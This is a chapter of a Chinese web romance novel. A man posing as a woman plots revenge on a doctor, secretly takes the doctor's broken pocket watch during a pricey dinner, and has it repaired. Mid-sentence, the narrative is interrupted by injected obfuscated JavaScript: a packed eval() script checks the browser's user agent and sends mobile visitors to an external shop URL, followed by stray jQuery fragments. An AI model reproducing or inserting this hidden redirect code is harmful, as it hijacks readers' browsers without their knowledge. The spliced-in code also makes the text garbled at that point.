“……”陈早脸红了一下,嘴里呼出的气都是热的:“噢,好。”

    挂掉电话,他从床上一个鲤鱼打挺,趴到阳台呼吸了一下新鲜空气。

    不是,他为什么这么听话?秦尔说什么就听什么?

    陈早甩甩脑袋。

    对了,他想起来今天还没吃药,陈早赶紧从桌上捞了一粒药,和水咽下。

    吃完药,他安心地上床,拿起手机刷抖音,看着抽象视频嘎嘎笑。

    微信弹出一条消息,是发小蒋余周发过来的。

    鱼粥:【兄弟啊,都放假了怎么还不来找我,我都快无聊死了!】

    十日:【哎呀,最近事情太多,忘记了。】

    鱼粥:【明天有空吗?出来玩啊。】

    十日:【好啊,正好,我也很久没出去玩了。】

    鱼粥:【对了,把你女朋友也带上,哥们请弟媳吃个饭。】

    十日:【……】

    鱼粥:【怎么了?】

    “分手了?!怎么回事?”蒋余周在电话里问。

    陈早就简单地说了,蒋余周:“真不要脸!劈腿就劈腿了,还什么择优选择!”

    “兄弟,别在意了,改天兄弟给你介绍个新的。”

    “不用了,我现在正在实施我的复仇计划。”

    “什么计划?”

    “V我五十。”

    叮——到账五十元。

    陈早:“好兄弟。”

    接下去,他简单讲述了自己的复仇计划。

    蒋余周听了,大为震撼:“疯了吧你,你这叫羊入虎口啊!”

    陈早:“不入虎穴焉得虎子。”

    蒋余周:“那秦尔是个渣男,伤敌一千自损八百。”

    陈早:“我是男的,就算他发现我是男的又能怎样?他拿我没办法!”

    蒋余周:“好吧,虽然我不太赞同,但还是勉强支持你一下吧。”

    陈早:“那明天见,拜拜。”

    蒋余周:“拜拜。”

    ……

    第二天,陈早告别了奶奶,坐出租车回到了滨江花园。

    虽然他知道今天秦尔上班,但路过秦尔家门口时还是很谨慎,就怕有人突然出来。

    陈早回家赶紧开始打扮自己,换了一条印着小猫咪的棕色Lolita裙,配上双马尾,给自己画了个美美的妆出门了。

    蒋余周刚开始没认出他来,站在原地不可置信了好久:“兄弟你好香。”

    “今天要交给你一项很艰巨的任务。”

    “什么?”

    ……

    十点半,秦尔刚会完急诊,病人家属说明情况:“有什么问题我们一定全力救治。”

    家属痛哭流涕,一个劲儿地说“谢谢秦医生”。

    行医多年,这样的夸奖数不胜数,秦尔心里早已波澜不惊,淡淡地回应着家属的感谢。

    看到秦尔这么胸有成竹,家属们更加信任,心想不愧是秦医生,做任何事都游刃有余。

    交代完注意事项,秦尔领着自己带的研究生上楼。

    他是A大医学院的硕导,手底下有两个研究生,今天跟值的是林云舒。

    俩人走进电梯,林云舒自觉地站在导师身后,看见秦尔口袋里的手机亮了一下。

    感受到振动,秦尔掏出手机,看到消息。

    婉婉:【哥哥,我回家啦,不过先和朋友出去玩了,晚上见~】

    婉婉:【图片】

    小图有点黑,秦尔点开,看见女孩穿得非常漂亮,一双笔直的腿雪白纤长,白色丝袜的罗口勒出大腿肉,十分诱人。

    而女孩身边,跟着一个身材健壮的男人。

    林云舒突然看见秦老师的太阳穴爆起了青筋,清冷感消失殆尽,周身散发出一种恐怖的气息。

    他往角落里缩了缩,瑟瑟发抖。

    救命啊,秦老师到底看见了什么?他心情不好?等下不会要疯狂奴役我吧?!

    秦尔忍着戾气,问女孩。

    QE:【只有你和他吗?】

    婉婉:【对呀。】

    QE:【穿这身?】

    婉婉:【对啊,怎么了吗?婉婉穿小裙子很好看哒!】

    “小短裙”这三个字狠狠刺伤了秦尔的眼睛。

    他闭了闭眼,忍着心中的躁意,陈婉又发来消息。

    婉婉:【我手机没电了,先不说啦,哥哥再见!好好上班哦,啾咪~(猫猫挥手】

    “高,实在是高。”

    等陈早关掉手机,蒋余周竖起大拇指。

    陈早:“我故意拍男人的照片给他看,让他吃醋,男人的这点小心思,我都懂。”

    蒋余周:“啧啧,我真是小看你了。”

    陈早:“你也挺不赖啊,没白健身。”

    刚才拍照前,蒋余周特意做了五十个俯卧撑,还特意凹了下造型,营造出肌肉猛男的效果。

    蒋余周:“那当然,你以为我沸羊羊的外号白叫的?”

    他们坐在中式餐厅里吃家常菜,陈早时不时地看一眼手机:“都这样了,秦尔居然不发消息过来,他也太坐得住了。”

    蒋余周津津有味地吃着:“那当然了,要是他坐不住,怎么勾引别人的女朋友。”

    一想到这陈早就来气:“你说得没错,所以我要比他更坐得住,温水煮青蛙,秦尔就是那只青蛙!”

    他愤愤地吃了口菜,秦尔终于回复了。

    QE:【(地址)】

    陈早打开,是一家高级餐厅的地址。

    “看,秦尔发来的,到时候你跟我一起去。”

    “我跟你去?你不怕他打我?”

    “啧,当然不是叫你和我们一起吃饭了,我又不傻,我是要请你帮忙的,你听我跟你说……”

    ……

    一个下午,秦尔都觉得他的理智在疯狂撕扯,他不断劝解自己,陈婉只是和她的发小一起出去玩而已。

    只是发小是个男人,只是陈萌穿着小短裙,只是单独两个人。

    而已。

    而他现在这样,是很不理智的,秦尔也觉得奇怪,自己的情绪竟然会被一个女孩左右,这非常不像他。

    短暂地调整后,秦尔抬起眼,又是冷淡矜贵的秦医生。

    他继续带着林云舒出诊,讨论病情,下医嘱,直到五点,他干脆利落地下班。

    开车路上有点堵,秦尔看了四五次时间,数着红灯一秒一秒地过去。

    大概一个小时左右,秦尔到达餐厅门口,陈早安静地等在那里。

    看见秦尔,陈早眼睛一亮,踩着小高跟过去:“哥哥!”

    秦尔垂眼,女孩穿着娃娃领的小裙子,皮肤在夜色里白得如羊脂玉一般,桃花眼水汪汪的,可怜又可爱。

    他看了看她周围:“你朋友呢?”

    “他走了。”陈早仰头,“哥哥是在担心我吗?”

    秦尔以为自己听错了:“担心?”

    “当然,如果不是担心我和别的男人在一起会吃亏,那就是在吃醋。”陈早俏皮地盯着他,直勾勾的。

    秦尔没说话,陈早怕自己太过着急适得其反,连忙道:“他是我发小啦,只是普通朋友而已,哥哥,我们进去吃饭吧,我都饿死了~”

    秦尔:“嗯。”

    陈早搭住他的手臂,从进去到落座,一直诉说着自己对他的想念,虽然是假的。

    但秦尔貌似心情很不错,陈早得意地翘起嘴角。

    落座后,服务员递来的菜单,陈早打开看了眼,看见上面的数字,惊了:“一千五百八,三道菜??”

    他吃的是金子吗?!

    秦尔不是医生吗?居然能吃这么贵的餐厅!

    医生这么赚钱?早知道他也去学医了!

    触及到秦尔的视线,陈早把菜单推过去:“哥哥点吧,我不太了解这里呢。”

    秦尔对服务员说了几道菜,听在陈早耳朵里,他说的不是菜,是白花花的钱。

    “我没想到,哥哥会在外面的餐馆吃饭,以为哥哥会觉得不干净呢。”

    “这家餐厅的卫生条件严苛。”秦尔说,“所以我不介意这里。”

    陈早点点头,怪不得,有洁癖的老男人会选择来这吃饭。

    餐前面包味道很不错,又软又香,前菜是扇贝和干煎牛蛙,主菜是惠灵顿牛排,黑松露银鳕鱼,南瓜番茄焖饭,甜品是小蛋糕。

    这是陈早从出生以来吃得最好吃的一顿饭,要不是秦尔不让他喝酒,他还真想尝尝97年的罗曼尼康帝什么味道。

    老实说,吃的过程中,陈早惴惴不安的,就怕秦尔跑单,留下他一个人,好在秦尔的屁股坐得很实,没有一点逃跑的样子,陈早这才微微放下心。

    他眨了下眼睛,偷偷在桌子底下发消息,催促蒋余周赶紧行动。

    鱼粥:【这里的菜怎么这么贵!我只敢点一碗炒饭!还要收我二百五!我觉得我就是那个二百五!】

    十日:【抱歉啦!给你报销,下次请你吃饭!】

    鱼粥:【说话算数!】

    陈早仰头,看到服务员端着自己点的水来了,服务员走过来,一直坐在他们隔壁桌的蒋余周伸出脚。

    服务员猝不及防拌了一跤,稳住身形,可是水就这样撒在了秦尔肩头。

    “对不起先生!”服务员掏出手帕。

    陈早赶紧起身:“没关系没关系,只是水而已!”

    他把纸巾递给秦尔:“哥哥,擦一下吧。”

    秦尔点头,对服务员说没事,把衣兜里的怀表拿出来,放在桌上,对陈早说:“我去整理一下。”

    陈早点点头,目送秦尔出去,目光落在桌上的怀表,他的心跳和呼吸都很快,像做贼似的把表拿起来,走到隔壁桌递给蒋余周:“告诉夏师傅麻烦他快点修,我不确定秦尔要是知道我把表拿走了会不会杀了我!”

    为了兄弟的小命,蒋余周收好怀表,把最后一口二百五的炒饭吃了,踏上了去雨林镇

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17715743|208519||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的路。

    陈早回到位置上,心脏快从嗓子里跑出来,大脑正飞速转动,思考等会儿怎么跟秦尔解释。

    没多久,秦尔回来了,他拿着西装外套,似乎很匆忙的样子,对陈早说:“我有一台紧急手术。”

    陈早:“啊?哦哦。”

    秦尔目光落在桌上,刚才放怀表的地方是空的,他皱了下眉,陈早立马道:“刚刚怀表有点湿了,我叫服务员去擦了,擦完就还回来。”

    “嗯,”秦尔没说什么,他现在没多少时间,“单买好了,一会儿你自己回去。”

    陈早忙不迭点头:“嗯!哥哥你去吧,我一个人可以。”

    看着秦尔离开,陈早脱力地靠在椅背上,仿佛跑了一场马拉松。

    真是太惊险了,还好老天帮助他!

    服务员把小票拿来,陈早顺势瞄了眼,差点从椅子上摔下来,一顿饭居然快吃掉他两年的生活费!

    好家伙,跟你们有钱人拼了!

    陈早哼哧哼哧吃完了剩下的牛排,把溢价十倍的可乐一饮而尽,擦擦嘴,提包走人。

    ……

    秦尔大概很忙,到了第二天中午也没回来,陈早一直和蒋余周通电话。

    “你不知道,昨晚我赶着末班车到的那里,太晚了,怕夏师傅睡了,只能今早起来过去。”

    “好在夏师傅起得很早,五点多就开始帮你修,你这怀表零件缺太多了,他要帮你补补。”

    “好了,快好了!你就等着吧,今天下午保证送到你手上!”

    陈早长长地呼出一口气,总算放心了。

    正百无聊赖地等着,家门外边有动静传来,陈早爬起来,跑过去开门:“哥哥!”

    秦尔回头,眉宇间仍像平常那样冷淡。

    陈早今天穿了件淡蓝色的碎花裙,勾勒着苗条腰线,穿着拖鞋的脚趾头圆润饱满,整整齐齐地排列,像一颗颗散发着奶香味的小馒头。

    秦尔静静地看他一会儿,挪开视线进屋,门没关,陈早便自然而然的跟进去。

    一走进秦尔的屋子,感觉视线都明亮起来,因为他的屋子干净整洁,不像陈早的屋子,这么些天已经像垃圾站了。

    “哥哥昨晚辛不辛苦呀?”陈早蹭过去,紧挨着秦尔坐下,身子微微贴近,把青涩的曲线暴露在男人面前。

    秦尔垂眸,看了眼雪白,滚了滚喉结,喝了口水:“还行。”

    “我就知道哥哥最厉害啦!”陈早喜滋滋,背过身稍稍托了一下胸垫,又转身,“哥哥我们今晚吃什么?”

    “我的怀表呢?”秦尔说。

    “……我不都说了嘛,在服务员那儿!擦干净就还回来了!”

    “说实话。”

    陈早一愣:“在……真的在餐厅,我等会儿就过去帮你拿。”

    “陈婉。”男人伸手,捏住他的下巴,抬起来,丹凤眼冷淡又疏离,“别想骗我。”

    唇珠被男人摩挲着,陈早寒毛直立,觉得男人手指抚过的地方都是滚烫的:“哥哥……”

    “我警告你,别做多余的事。”秦尔眯眼,“否则后果,你无法承受。”

    陈早被秦尔吓了一跳,从认识到现在,他从来没见过秦尔这么可怕的眼神。

    这个男人到底还有什么是他不知道的?

    场景太过窒息,陈早快受不住了,推开男人的手站起来:“对不起,下次不会了。”

    他的身体发着颤,嗓子几乎挤不出声音:“我先走了。”

    他跑出去,啪得关上门,这一秒,胃又开始隐隐地抽痛起来,陈早委屈吸了吸鼻子,回头抬脚,想狠狠地踹一脚门,最后还是缩回腿,冲猫眼做了个鬼脸,然后气冲冲地跑下楼。

    ……

    女孩离开后,室内一下子安静无比,整夜没合眼的疲惫终于爬上秦尔的眉间。

    他用手撑着额头,坐在客厅里很久,直到天色暗下来,家里的光线也无了,秦尔才从黑暗里抬头,起身去墙边打开灯。

    女孩一直没有回来,秦尔闭了闭眼,心知自己不该继续管她,拿上车钥匙,打算回去昨天的餐厅找怀表。

    打开门,碰见了一个穿黄衣服的跑腿,走到陈早家门口,敲了敲门:“有人在家吗?您的东西到了!”

    陈早不在自然没人开门,秦尔看着跑腿敲了好几遍,走过去:“给我吧。”

    跑腿回头:“你认识她吗?”

    秦尔:“嗯。”

    跑腿:“行,麻烦您把这个交给她,我还有下一单先走了。”

    秦尔接过纸袋,摸到里面是一个盒子,他正打算把纸袋挂在陈早家的门把手上,看到纸袋上贴了一张小纸条。

    【陈同学,你的怀表修好了,废了老头子我好大的劲,修补不易,请好好珍惜。】

    秦尔心一动,有一种可能性从脑海里冒出来。

    他打开纸袋拿出盒子,手指颤抖着试了好几次,才打开。

    怀表静静地躺在里面,指针重新开始转动。